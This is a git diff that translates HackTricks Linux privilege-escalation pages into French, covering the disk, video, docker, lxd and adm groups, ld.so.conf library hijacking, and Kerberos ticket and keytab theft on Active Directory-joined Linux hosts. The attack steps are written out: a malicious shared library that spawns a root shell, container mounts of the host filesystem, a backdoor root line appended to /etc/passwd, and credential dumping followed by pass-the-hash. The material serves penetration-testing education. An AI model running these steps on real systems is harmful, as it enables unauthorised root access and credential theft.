pouvez également **écrire des fichiers**. Par exemple, pour copier `/tmp/asd1.txt` vers `/tmp/asd2.txt`, vous pouvez faire : ```bash debugfs -w /dev/sda1 debugfs: dump /tmp/asd1.txt /tmp/asd2.txt ``` - -However, if you try to **write files owned by root** (like `/etc/shadow` or `/etc/passwd`) you will have a "**Permission denied**" error. +Cependant, si vous essayez de **écrire des fichiers appartenant à root** (comme `/etc/shadow` ou `/etc/passwd`), vous obtiendrez une erreur "**Permission denied**". ## Video Group -Using the command `w` you can find **who is logged on the system** and it will show an output like the following one: - +En utilisant la commande `w`, vous pouvez trouver **qui est connecté au système** et cela affichera une sortie comme celle-ci : ```bash USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT yossi tty1 22:16 5:13m 0.05s 0.04s -bash moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash ``` +Le **tty1** signifie que l'utilisateur **yossi est connecté physiquement** à un terminal sur la machine. -The **tty1** means that the user **yossi is logged physically** to a terminal on the machine. - -The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size` - +Le **groupe vidéo** a accès à l'affichage de la sortie écran. En gros, vous pouvez observer les écrans. Pour ce faire, vous devez **capturer l'image actuelle à l'écran** en données brutes et obtenir la résolution que l'écran utilise. Les données de l'écran peuvent être enregistrées dans `/dev/fb0` et vous pouvez trouver la résolution de cet écran dans `/sys/class/graphics/fb0/virtual_size` ```bash cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size ``` - -To **open** the **raw image** you can use **GIMP**, select the \*\*`screen.raw` \*\* file and select as file type **Raw image data**: +Pour **ouvrir** l'**image brute**, vous pouvez utiliser **GIMP**, sélectionner le fichier **`screen.raw`** et choisir comme type de fichier **Données d'image brute** : ![](<../../../images/image (463).png>) -Then modify the Width and Height to the ones used on the screen and check different Image Types (and select the one that shows better the screen): +Ensuite, modifiez la largeur et la hauteur pour celles utilisées sur l'écran et vérifiez différents types d'images (et sélectionnez celui qui montre le mieux l'écran) : ![](<../../../images/image (317).png>) -## Root Group +## Groupe Root -It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges... - -**Check which files root members can modify**: +Il semble qu'en par défaut, les **membres du groupe root** pourraient avoir accès à **modifier** certains fichiers de configuration de **service** ou certains fichiers de **bibliothèques** ou **d'autres choses intéressantes** qui pourraient être utilisées pour élever les privilèges... +**Vérifiez quels fichiers les membres root peuvent modifier** : ```bash find / -group root -perm -g=w 2>/dev/null ``` +## Groupe Docker -## Docker Group - -You can **mount the root filesystem of the host machine to an instance’s volume**, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine. - +Vous pouvez **monter le système de fichiers racine de la machine hôte sur le volume d'une instance**, de sorte que lorsque l'instance démarre, elle charge immédiatement un `chroot` dans ce volume. Cela vous donne effectivement un accès root sur la machine. ```bash docker image #Get images from the docker service @@ -232,33 +193,32 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa #Ifyou just want filesystem and network access you can startthe following container: docker run --rm -it --pid=host --net=host --privileged -v /:/mnt chroot /mnt bashbash ``` - -Finally, if you don't like any of the suggestions of before, or they aren't working for some reason (docker api firewall?) you could always try to **run a privileged container and escape from it** as explained here: +Enfin, si vous n'aimez aucune des suggestions précédentes, ou si elles ne fonctionnent pas pour une raison quelconque (docker api firewall ?), vous pouvez toujours essayer de **lancer un conteneur privilégié et d'en échapper** comme expliqué ici : {{#ref}} ../docker-security/ {{#endref}} -If you have write permissions over the docker socket read [**this post about how to escalate privileges abusing the docker socket**](../#writable-docker-socket)**.** +Si vous avez des permissions d'écriture sur le socket docker, lisez [**ce post sur la façon d'escalader les privilèges en abusant du socket docker**](../#writable-docker-socket)**.** {% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %} {% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %} -## lxc/lxd Group +## Groupe lxc/lxd {{#ref}} ./ {{#endref}} -## Adm Group +## Groupe Adm -Usually **members** of the group **`adm`** have permissions to **read log** files located inside _/var/log/_.\ -Therefore, if you have compromised a user inside this group you should definitely take a **look to the logs**. +En général, les **membres** du groupe **`adm`** ont des permissions pour **lire les fichiers de log** situés dans _/var/log/_.\ +Par conséquent, si vous avez compromis un utilisateur de ce groupe, vous devriez absolument **jeter un œil aux logs**. -## Auth group +## Groupe Auth -Inside OpenBSD the **auth** group usually can write in the folders _**/etc/skey**_ and _**/var/db/yubikey**_ if they are used.\ -These permissions may be abused with the following exploit to **escalate privileges** to root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) +Dans OpenBSD, le groupe **auth** peut généralement écrire dans les dossiers _**/etc/skey**_ et _**/var/db/yubikey**_ s'ils sont utilisés.\ +Ces permissions peuvent être abusées avec l'exploit suivant pour **escalader les privilèges** à root : [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md index f308931ab..a1cf26719 100644 --- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md @@ -1,15 +1,14 @@ -# lxd/lxc Group - Privilege escalation +# lxd/lxc Groupe - Escalade de privilèges {{#include ../../../banners/hacktricks-training.md}} -If you belong to _**lxd**_ **or** _**lxc**_ **group**, you can become root +Si vous appartenez au groupe _**lxd**_ **ou** _**lxc**_, vous pouvez devenir root -## Exploiting without internet +## Exploitation sans internet -### Method 1 - -You can install in your machine this distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(follow the instructions of the github): +### Méthode 1 +Vous pouvez installer sur votre machine ce constructeur de distribution : [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(suivez les instructions du github) : ```bash sudo su # Install requirements @@ -34,9 +33,7 @@ sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18 ## Using build-lxc sudo $HOME/go/bin/distrobuilder build-lxc alpine.yaml -o image.release=3.18 ``` - -Upload the files **lxd.tar.xz** and **rootfs.squashfs**, add the image to the repo and create a container: - +Téléchargez les fichiers **lxd.tar.xz** et **rootfs.squashfs**, ajoutez l'image au dépôt et créez un conteneur : ```bash lxc image import lxd.tar.xz rootfs.squashfs --alias alpine @@ -51,23 +48,19 @@ lxc list lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true ``` - > [!CAUTION] -> If you find this error _**Error: No storage pool found. Please create a new storage pool**_\ -> Run **`lxd init`** and **repeat** the previous chunk of commands - -Finally you can execute the container and get root: +> Si vous trouvez cette erreur _**Erreur : Aucun pool de stockage trouvé. Veuillez créer un nouveau pool de stockage**_\ +> Exécutez **`lxd init`** et **répétez** le bloc de commandes précédent +Enfin, vous pouvez exécuter le conteneur et obtenir root : ```bash lxc start privesc lxc exec privesc /bin/sh [email protected]:~# cd /mnt/root #Here is where the filesystem is mounted ``` +### Méthode 2 -### Method 2 - -Build an Alpine image and start it using the flag `security.privileged=true`, forcing the container to interact as root with the host filesystem. - +Construisez une image Alpine et démarrez-la en utilisant le drapeau `security.privileged=true`, forçant le conteneur à interagir en tant que root avec le système de fichiers hôte. ```bash # build a simple alpine image git clone https://github.com/saghul/lxd-alpine-builder @@ -87,5 +80,4 @@ lxc init myimage mycontainer -c security.privileged=true # mount the /root into the image lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/ld.so.conf-example.md b/src/linux-hardening/privilege-escalation/ld.so.conf-example.md index ab2683a9b..5fb24fcc6 100644 --- a/src/linux-hardening/privilege-escalation/ld.so.conf-example.md +++ b/src/linux-hardening/privilege-escalation/ld.so.conf-example.md @@ -1,83 +1,72 @@ -# ld.so privesc exploit example +# Exemple d'exploit de privesc ld.so {{#include ../../banners/hacktricks-training.md}} -## Prepare the environment +## Préparer l'environnement -In the following section you can find the code of the files we are going to use to prepare the environment +Dans la section suivante, vous pouvez trouver le code des fichiers que nous allons utiliser pour préparer l'environnement {{#tabs}} {{#tab name="sharedvuln.c"}} - ```c #include #include "libcustom.h" int main(){ - printf("Welcome to my amazing application!\n"); - vuln_func(); - return 0; +printf("Welcome to my amazing application!\n"); +vuln_func(); +return 0; } ``` - {{#endtab}} {{#tab name="libcustom.h"}} - ```c #include void vuln_func(); ``` - {{#endtab}} {{#tab name="libcustom.c"}} - ```c #include void vuln_func() { - puts("Hi"); +puts("Hi"); } ``` - {{#endtab}} {{#endtabs}} -1. **Create** those files in your machine in the same folder -2. **Compile** the **library**: `gcc -shared -o libcustom.so -fPIC libcustom.c` -3. **Copy** `libcustom.so` to `/usr/lib`: `sudo cp libcustom.so /usr/lib` (root privs) -4. **Compile** the **executable**: `gcc sharedvuln.c -o sharedvuln -lcustom` +1. **Créez** ces fichiers sur votre machine dans le même dossier +2. **Compilez** la **bibliothèque** : `gcc -shared -o libcustom.so -fPIC libcustom.c` +3. **Copiez** `libcustom.so` dans `/usr/lib` : `sudo cp libcustom.so /usr/lib` (privilèges root) +4. **Compilez** l'**exécutable** : `gcc sharedvuln.c -o sharedvuln -lcustom` -### Check the environment - -Check that _libcustom.so_ is being **loaded** from _/usr/lib_ and that you can **execute** the binary. +### Vérifiez l'environnement +Vérifiez que _libcustom.so_ est bien **chargé** depuis _/usr/lib_ et que vous pouvez **exécuter** le binaire. ``` $ ldd sharedvuln - linux-vdso.so.1 => (0x00007ffc9a1f7000) - libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000) - libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000) - /lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000) +linux-vdso.so.1 => (0x00007ffc9a1f7000) +libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000) +libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000) +/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000) $ ./sharedvuln Welcome to my amazing application! Hi ``` - ## Exploit -In this scenario we are going to suppose that **someone has created a vulnerable entry** inside a file in _/etc/ld.so.conf/_: - +Dans ce scénario, nous allons supposer que **quelqu'un a créé une entrée vulnérable** dans un fichier _/etc/ld.so.conf/_ : ```bash sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf ``` - -The vulnerable folder is _/home/ubuntu/lib_ (where we have writable access).\ -**Download and compile** the following code inside that path: - +Le dossier vulnérable est _/home/ubuntu/lib_ (où nous avons un accès en écriture).\ +**Téléchargez et compilez** le code suivant à cet emplacement : ```c //gcc -shared -o libcustom.so -fPIC libcustom.c @@ -86,27 +75,23 @@ The vulnerable folder is _/home/ubuntu/lib_ (where we have writable access).\ #include void vuln_func(){ - setuid(0); - setgid(0); - printf("I'm the bad library\n"); - system("/bin/sh",NULL,NULL); +setuid(0); +setgid(0); +printf("I'm the bad library\n"); +system("/bin/sh",NULL,NULL); } ``` +Maintenant que nous avons **créé la bibliothèque malveillante libcustom à l'intérieur du chemin mal configuré**, nous devons attendre un **redémarrage** ou que l'utilisateur root exécute **`ldconfig`** (_dans le cas où vous pouvez exécuter ce binaire en tant que **sudo** ou s'il a le **bit suid**, vous pourrez l'exécuter vous-même_). -Now that we have **created the malicious libcustom library inside the misconfigured** path, we need to wait for a **reboot** or for the root user to execute **`ldconfig`** (_in case you can execute this binary as **sudo** or it has the **suid bit** you will be able to execute it yourself_). - -Once this has happened **recheck** where is the `sharevuln` executable loading the `libcustom.so` library from: - +Une fois cela fait, **vérifiez à nouveau** d'où l'exécutable `sharevuln` charge la bibliothèque `libcustom.so` : ```c $ldd sharedvuln - linux-vdso.so.1 => (0x00007ffeee766000) - libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000) - libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000) - /lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000) +linux-vdso.so.1 => (0x00007ffeee766000) +libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000) +libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000) +/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000) ``` - -As you can see it's **loading it from `/home/ubuntu/lib`** and if any user executes it, a shell will be executed: - +Comme vous pouvez le voir, il **le charge depuis `/home/ubuntu/lib`** et si un utilisateur l'exécute, un shell sera exécuté : ```c $ ./sharedvuln Welcome to my amazing application! @@ -114,40 +99,35 @@ I'm the bad library $ whoami ubuntu ``` - > [!NOTE] -> Note that in this example we haven't escalated privileges, but modifying the commands executed and **waiting for root or other privileged user to execute the vulnerable binary** we will be able to escalate privileges. +> Notez que dans cet exemple, nous n'avons pas élevé les privilèges, mais en modifiant les commandes exécutées et **en attendant qu'un utilisateur root ou un autre utilisateur privilégié exécute le binaire vulnérable**, nous pourrons élever les privilèges. -### Other misconfigurations - Same vuln +### Autres erreurs de configuration - Même vulnérabilité -In the previous example we faked a misconfiguration where an administrator **set a non-privileged folder inside a configuration file inside `/etc/ld.so.conf.d/`**.\ -But there are other misconfigurations that can cause the same vulnerability, if you have **write permissions** in some **config file** inside `/etc/ld.so.conf.d`s, in the folder `/etc/ld.so.conf.d` or in the file `/etc/ld.so.conf` you can configure the same vulnerability and exploit it. +Dans l'exemple précédent, nous avons simulé une erreur de configuration où un administrateur **a défini un dossier non privilégié dans un fichier de configuration à l'intérieur de `/etc/ld.so.conf.d/`**.\ +Mais il existe d'autres erreurs de configuration qui peuvent causer la même vulnérabilité, si vous avez **des permissions d'écriture** dans un **fichier de configuration** à l'intérieur de `/etc/ld.so.conf.d`, dans le dossier `/etc/ld.so.conf.d` ou dans le fichier `/etc/ld.so.conf`, vous pouvez configurer la même vulnérabilité et l'exploiter. ## Exploit 2 -**Suppose you have sudo privileges over `ldconfig`**.\ -You can indicate `ldconfig` **where to load the conf files from**, so we can take advantage of it to make `ldconfig` load arbitrary folders.\ -So, lets create the files and folders needed to load "/tmp": - +**Supposons que vous ayez des privilèges sudo sur `ldconfig`**.\ +Vous pouvez indiquer à `ldconfig` **où charger les fichiers de configuration**, donc nous pouvons en profiter pour faire en sorte que `ldconfig` charge des dossiers arbitraires.\ +Alors, créons les fichiers et dossiers nécessaires pour charger "/tmp": ```bash cd /tmp echo "include /tmp/conf/*" > fake.ld.so.conf echo "/tmp" > conf/evil.conf ``` - -Now, as indicated in the **previous exploit**, **create the malicious library inside `/tmp`**.\ -And finally, lets load the path and check where is the binary loading the library from: - +Maintenant, comme indiqué dans le **précédent exploit**, **créez la bibliothèque malveillante dans `/tmp`**.\ +Et enfin, chargeons le chemin et vérifions d'où le binaire charge la bibliothèque : ```bash ldconfig -f fake.ld.so.conf ldd sharedvuln - linux-vdso.so.1 => (0x00007fffa2dde000) - libcustom.so => /tmp/libcustom.so (0x00007fcb07756000) - libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000) - /lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000) +linux-vdso.so.1 => (0x00007fffa2dde000) +libcustom.so => /tmp/libcustom.so (0x00007fcb07756000) +libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000) +/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000) ``` - -**As you can see, having sudo privileges over `ldconfig` you can exploit the same vulnerability.** +**Comme vous pouvez le voir, avoir des privilèges sudo sur `ldconfig` vous permet d'exploiter la même vulnérabilité.** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/linux-active-directory.md b/src/linux-hardening/privilege-escalation/linux-active-directory.md index 5e355bae5..f222e6226 100644 --- a/src/linux-hardening/privilege-escalation/linux-active-directory.md +++ b/src/linux-hardening/privilege-escalation/linux-active-directory.md @@ -2,19 +2,17 @@ {{#include ../../banners/hacktricks-training.md}} -{% embed url="https://websec.nl/" %} +Une machine linux peut également être présente dans un environnement Active Directory. -A linux machine can also be present inside an Active Directory environment. +Une machine linux dans un AD pourrait **stocker différents tickets CCACHE dans des fichiers. Ces tickets peuvent être utilisés et abusés comme tout autre ticket kerberos**. Pour lire ces tickets, vous devez être le propriétaire du ticket ou **root** sur la machine. -A linux machine in an AD might be **storing different CCACHE tickets inside files. This tickets can be used and abused as any other kerberos ticket**. In order to read this tickets you will need to be the user owner of the ticket or **root** inside the machine. +## Énumération -## Enumeration +### Énumération AD depuis linux -### AD enumeration from linux +Si vous avez accès à un AD sous linux (ou bash sous Windows), vous pouvez essayer [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) pour énumérer l'AD. -If you have access over an AD in linux (or bash in Windows) you can try [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) to enumerate the AD. - -You can also check the following page to learn **other ways to enumerate AD from linux**: +Vous pouvez également consulter la page suivante pour apprendre **d'autres façons d'énumérer l'AD depuis linux** : {{#ref}} ../../network-services-pentesting/pentesting-ldap.md @@ -22,28 +20,27 @@ You can also check the following page to learn **other ways to enumerate AD from ### FreeIPA -FreeIPA is an open-source **alternative** to Microsoft Windows **Active Directory**, mainly for **Unix** environments. It combines a complete **LDAP directory** with an MIT **Kerberos** Key Distribution Center for management akin to Active Directory. Utilizing the Dogtag **Certificate System** for CA & RA certificate management, it supports **multi-factor** authentication, including smartcards. SSSD is integrated for Unix authentication processes. Learn more about it in: +FreeIPA est une **alternative** open-source à Microsoft Windows **Active Directory**, principalement pour les environnements **Unix**. Il combine un **annuaire LDAP** complet avec un Centre de Distribution de Clés **Kerberos** MIT pour une gestion similaire à Active Directory. Utilisant le **Système de Certificats** Dogtag pour la gestion des certificats CA & RA, il prend en charge l'authentification **multi-facteurs**, y compris les cartes à puce. SSSD est intégré pour les processus d'authentification Unix. En savoir plus à ce sujet dans : {{#ref}} ../freeipa-pentesting.md {{#endref}} -## Playing with tickets +## Jouer avec les tickets ### Pass The Ticket -In this page you are going to find different places were you could **find kerberos tickets inside a linux host**, in the following page you can learn how to transform this CCache tickets formats to Kirbi (the format you need to use in Windows) and also how to perform a PTT attack: +Sur cette page, vous allez trouver différents endroits où vous pourriez **trouver des tickets kerberos à l'intérieur d'un hôte linux**, sur la page suivante, vous pouvez apprendre comment transformer ces formats de tickets CCache en Kirbi (le format que vous devez utiliser sous Windows) et aussi comment effectuer une attaque PTT : {{#ref}} ../../windows-hardening/active-directory-methodology/pass-the-ticket.md {{#endref}} -### CCACHE ticket reuse from /tmp +### Réutilisation des tickets CCACHE depuis /tmp -CCACHE files are binary formats for **storing Kerberos credentials** are typically stored with 600 permissions in `/tmp`. These files can be identified by their **name format, `krb5cc_%{uid}`,** correlating to the user's UID. For authentication ticket verification, the **environment variable `KRB5CCNAME`** should be set to the path of the desired ticket file, enabling its reuse. - -List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be **reused by setting the environment variable** with `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos ticket name format is `krb5cc_%{uid}` where uid is the user UID. +Les fichiers CCACHE sont des formats binaires pour **stocker des identifiants Kerberos** et sont généralement stockés avec des permissions 600 dans `/tmp`. Ces fichiers peuvent être identifiés par leur **format de nom, `krb5cc_%{uid}`,** correspondant à l'UID de l'utilisateur. Pour la vérification des tickets d'authentification, la **variable d'environnement `KRB5CCNAME`** doit être définie sur le chemin du fichier de ticket souhaité, permettant sa réutilisation. +Listez le ticket actuel utilisé pour l'authentification avec `env | grep KRB5CCNAME`. Le format est portable et le ticket peut être **réutilisé en définissant la variable d'environnement** avec `export KRB5CCNAME=/tmp/ticket.ccache`. Le format de nom de ticket Kerberos est `krb5cc_%{uid}` où uid est l'UID de l'utilisateur. ```bash # Find tickets ls /tmp/ | grep krb5cc @@ -52,79 +49,62 @@ krb5cc_1000 # Prepare to use it export KRB5CCNAME=/tmp/krb5cc_1000 ``` +### Réutilisation de tickets CCACHE depuis le keyring -### CCACHE ticket reuse from keyring - -**Kerberos tickets stored in a process's memory can be extracted**, particularly when the machine's ptrace protection is disabled (`/proc/sys/kernel/yama/ptrace_scope`). A useful tool for this purpose is found at [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), which facilitates the extraction by injecting into sessions and dumping tickets into `/tmp`. - -To configure and use this tool, the steps below are followed: +**Les tickets Kerberos stockés dans la mémoire d'un processus peuvent être extraits**, en particulier lorsque la protection ptrace de la machine est désactivée (`/proc/sys/kernel/yama/ptrace_scope`). Un outil utile à cet effet se trouve à [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), qui facilite l'extraction en s'injectant dans des sessions et en vidant les tickets dans `/tmp`. +Pour configurer et utiliser cet outil, les étapes ci-dessous sont suivies : ```bash git clone https://github.com/TarlogicSecurity/tickey cd tickey/tickey make CONF=Release /tmp/tickey -i ``` +Cette procédure tentera d'injecter dans diverses sessions, indiquant le succès en stockant les tickets extraits dans `/tmp` avec une convention de nommage de `__krb_UID.ccache`. -This procedure will attempt to inject into various sessions, indicating success by storing extracted tickets in `/tmp` with a naming convention of `__krb_UID.ccache`. +### Réutilisation des tickets CCACHE à partir de SSSD KCM -### CCACHE ticket reuse from SSSD KCM - -SSSD maintains a copy of the database at the path `/var/lib/sss/secrets/secrets.ldb`. The corresponding key is stored as a hidden file at the path `/var/lib/sss/secrets/.secrets.mkey`. By default, the key is only readable if you have **root** permissions. - -Invoking \*\*`SSSDKCMExtractor` \*\* with the --database and --key parameters will parse the database and **decrypt the secrets**. +SSSD maintient une copie de la base de données au chemin `/var/lib/sss/secrets/secrets.ldb`. La clé correspondante est stockée en tant que fichier caché au chemin `/var/lib/sss/secrets/.secrets.mkey`. Par défaut, la clé n'est lisible que si vous avez des permissions **root**. +L'invocation de \*\*`SSSDKCMExtractor` \*\* avec les paramètres --database et --key analysera la base de données et **décryptera les secrets**. ```bash git clone https://github.com/fireeye/SSSDKCMExtractor python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey ``` +Le **blob de cache d'identifiants Kerberos peut être converti en un fichier CCache Kerberos utilisable** qui peut être passé à Mimikatz/Rubeus. -The **credential cache Kerberos blob can be converted into a usable Kerberos CCache** file that can be passed to Mimikatz/Rubeus. - -### CCACHE ticket reuse from keytab - +### Réutilisation de ticket CCACHE à partir de keytab ```bash git clone https://github.com/its-a-feature/KeytabParser python KeytabParser.py /etc/krb5.keytab klist -k /etc/krb5.keytab ``` +### Extraire des comptes de /etc/krb5.keytab -### Extract accounts from /etc/krb5.keytab - -Service account keys, essential for services operating with root privileges, are securely stored in **`/etc/krb5.keytab`** files. These keys, akin to passwords for services, demand strict confidentiality. - -To inspect the keytab file's contents, **`klist`** can be employed. The tool is designed to display key details, including the **NT Hash** for user authentication, particularly when the key type is identified as 23. +Les clés des comptes de service, essentielles pour les services fonctionnant avec des privilèges root, sont stockées en toute sécurité dans les fichiers **`/etc/krb5.keytab`**. Ces clés, semblables à des mots de passe pour les services, nécessitent une confidentialité stricte. +Pour inspecter le contenu du fichier keytab, **`klist`** peut être utilisé. L'outil est conçu pour afficher les détails des clés, y compris le **NT Hash** pour l'authentification des utilisateurs, en particulier lorsque le type de clé est identifié comme 23. ```bash klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab # Output includes service principal details and the NT Hash ``` - -For Linux users, **`KeyTabExtract`** offers functionality to extract the RC4 HMAC hash, which can be leveraged for NTLM hash reuse. - +Pour les utilisateurs de Linux, **`KeyTabExtract`** offre la fonctionnalité d'extraire le hachage RC4 HMAC, qui peut être utilisé pour le réemploi du hachage NTLM. ```bash python3 keytabextract.py krb5.keytab # Expected output varies based on hash availability ``` - -On macOS, **`bifrost`** serves as a tool for keytab file analysis. - +Sur macOS, **`bifrost`** sert d'outil pour l'analyse des fichiers keytab. ```bash ./bifrost -action dump -source keytab -path /path/to/your/file ``` - -Utilizing the extracted account and hash information, connections to servers can be established using tools like **`crackmapexec`**. - +En utilisant les informations de compte et de hachage extraites, des connexions aux serveurs peuvent être établies à l'aide d'outils comme **`crackmapexec`**. ```bash crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN" ``` - -## References +## Références - [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) - [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory) -{% embed url="https://websec.nl/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/linux-capabilities.md b/src/linux-hardening/privilege-escalation/linux-capabilities.md index 2fa1b2717..a4c892112 100644 --- a/src/linux-hardening/privilege-escalation/linux-capabilities.md +++ b/src/linux-hardening/privilege-escalation/linux-capabilities.md @@ -2,90 +2,80 @@ {{#include ../../banners/hacktricks-training.md}} -
- -​​​​​​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.\\ - -{% embed url="https://www.rootedcon.com/" %} ## Linux Capabilities -Linux capabilities divide **root privileges into smaller, distinct units**, allowing processes to have a subset of privileges. This minimizes the risks by not granting full root privileges unnecessarily. +Les capacités Linux divisent **les privilèges root en unités plus petites et distinctes**, permettant aux processus d'avoir un sous-ensemble de privilèges. Cela minimise les risques en ne conférant pas de privilèges root complets inutilement. -### The Problem: +### Le Problème : -- Normal users have limited permissions, affecting tasks like opening a network socket which requires root access. +- Les utilisateurs normaux ont des permissions limitées, affectant des tâches comme l'ouverture d'un socket réseau qui nécessite un accès root. -### Capability Sets: +### Ensembles de Capabilités : -1. **Inherited (CapInh)**: +1. **Héritées (CapInh)** : - - **Purpose**: Determines the capabilities passed down from the parent process. - - **Functionality**: When a new process is created, it inherits the capabilities from its parent in this set. Useful for maintaining certain privileges across process spawns. - - **Restrictions**: A process cannot gain capabilities that its parent did not possess. +- **Objectif** : Détermine les capacités transmises par le processus parent. +- **Fonctionnalité** : Lorsqu'un nouveau processus est créé, il hérite des capacités de son parent dans cet ensemble. Utile pour maintenir certains privilèges lors des créations de processus. +- **Restrictions** : Un processus ne peut pas acquérir des capacités que son parent ne possédait pas. -2. **Effective (CapEff)**: +2. **Effectives (CapEff)** : - - **Purpose**: Represents the actual capabilities a process is utilizing at any moment. - - **Functionality**: It's the set of capabilities checked by the kernel to grant permission for various operations. For files, this set can be a flag indicating if the file's permitted capabilities are to be considered effective. - - **Significance**: The effective set is crucial for immediate privilege checks, acting as the active set of capabilities a process can use. +- **Objectif** : Représente les capacités réelles qu'un processus utilise à tout moment. +- **Fonctionnalité** : C'est l'ensemble de capacités vérifié par le noyau pour accorder la permission pour diverses opérations. Pour les fichiers, cet ensemble peut être un indicateur indiquant si les capacités autorisées du fichier doivent être considérées comme effectives. +- **Signification** : L'ensemble effectif est crucial pour les vérifications de privilèges immédiates, agissant comme l'ensemble actif de capacités qu'un processus peut utiliser. -3. **Permitted (CapPrm)**: +3. **Permises (CapPrm)** : - - **Purpose**: Defines the maximum set of capabilities a process can possess. - - **Functionality**: A process can elevate a capability from the permitted set to its effective set, giving it the ability to use that capability. It can also drop capabilities from its permitted set. - - **Boundary**: It acts as an upper limit for the capabilities a process can have, ensuring a process doesn't exceed its predefined privilege scope. +- **Objectif** : Définit l'ensemble maximum de capacités qu'un processus peut posséder. +- **Fonctionnalité** : Un processus peut élever une capacité de l'ensemble permis à son ensemble effectif, lui donnant la possibilité d'utiliser cette capacité. Il peut également abandonner des capacités de son ensemble permis. +- **Limite** : Cela agit comme une limite supérieure pour les capacités qu'un processus peut avoir, garantissant qu'un processus ne dépasse pas son champ de privilèges prédéfini. -4. **Bounding (CapBnd)**: +4. **Limitation (CapBnd)** : - - **Purpose**: Puts a ceiling on the capabilities a process can ever acquire during its lifecycle. - - **Functionality**: Even if a process has a certain capability in its inheritable or permitted set, it cannot acquire that capability unless it's also in the bounding set. - - **Use-case**: This set is particularly useful for restricting a process's privilege escalation potential, adding an extra layer of security. - -5. **Ambient (CapAmb)**: - - **Purpose**: Allows certain capabilities to be maintained across an `execve` system call, which typically would result in a full reset of the process's capabilities. - - **Functionality**: Ensures that non-SUID programs that don't have associated file capabilities can retain certain privileges. - - **Restrictions**: Capabilities in this set are subject to the constraints of the inheritable and permitted sets, ensuring they don't exceed the process's allowed privileges. +- **Objectif** : Met un plafond sur les capacités qu'un processus peut jamais acquérir au cours de son cycle de vie. +- **Fonctionnalité** : Même si un processus a une certaine capacité dans son ensemble héritable ou permis, il ne peut pas acquérir cette capacité à moins qu'elle ne soit également dans l'ensemble de limitation. +- **Cas d'utilisation** : Cet ensemble est particulièrement utile pour restreindre le potentiel 